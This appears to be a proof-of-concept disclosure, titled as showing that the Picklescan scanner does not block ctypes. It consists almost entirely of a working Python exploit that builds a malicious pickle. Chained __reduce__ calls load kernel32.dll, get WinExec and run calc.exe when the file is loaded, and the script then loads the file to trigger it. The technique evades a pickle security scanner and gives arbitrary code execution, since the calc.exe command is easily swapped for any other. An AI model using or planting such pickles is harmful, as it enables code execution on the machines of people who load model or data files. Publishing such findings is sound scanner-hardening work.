Picklescan does not block ctypes

import pickle
import ctypes
import operator

class Kernel32Loader:
    def __reduce__(self):
        #we go direct to the kerneeellllllll
        return (ctypes.WinDLL, ("kernel32.dll",))

class WinExecGetter:
    def __reduce__(self):
        return (operator.itemgetter("WinExec"), (Kernel32Loader(),))

class PopCalc:
    def __reduce__(self):
        #methodcaller to invoke "__call__" on the function pointer.
        return (
            operator.methodcaller("__call__", b"calc.exe", 1), 
            (WinExecGetter(),)
        )

try:
    payload = pickle.dumps(PopCalc())
    
    with open("calc_exploit.pkl", "wb") as f:
        f.write(payload)
        
    print("Generated 'calc_exploit.pkl'")

except Exception as e:
    print(f"Generation failed: {e}")

import pickle
print("Loading bypass.pkl...")
pickle.load(open("calc_exploit.pkl", "rb"))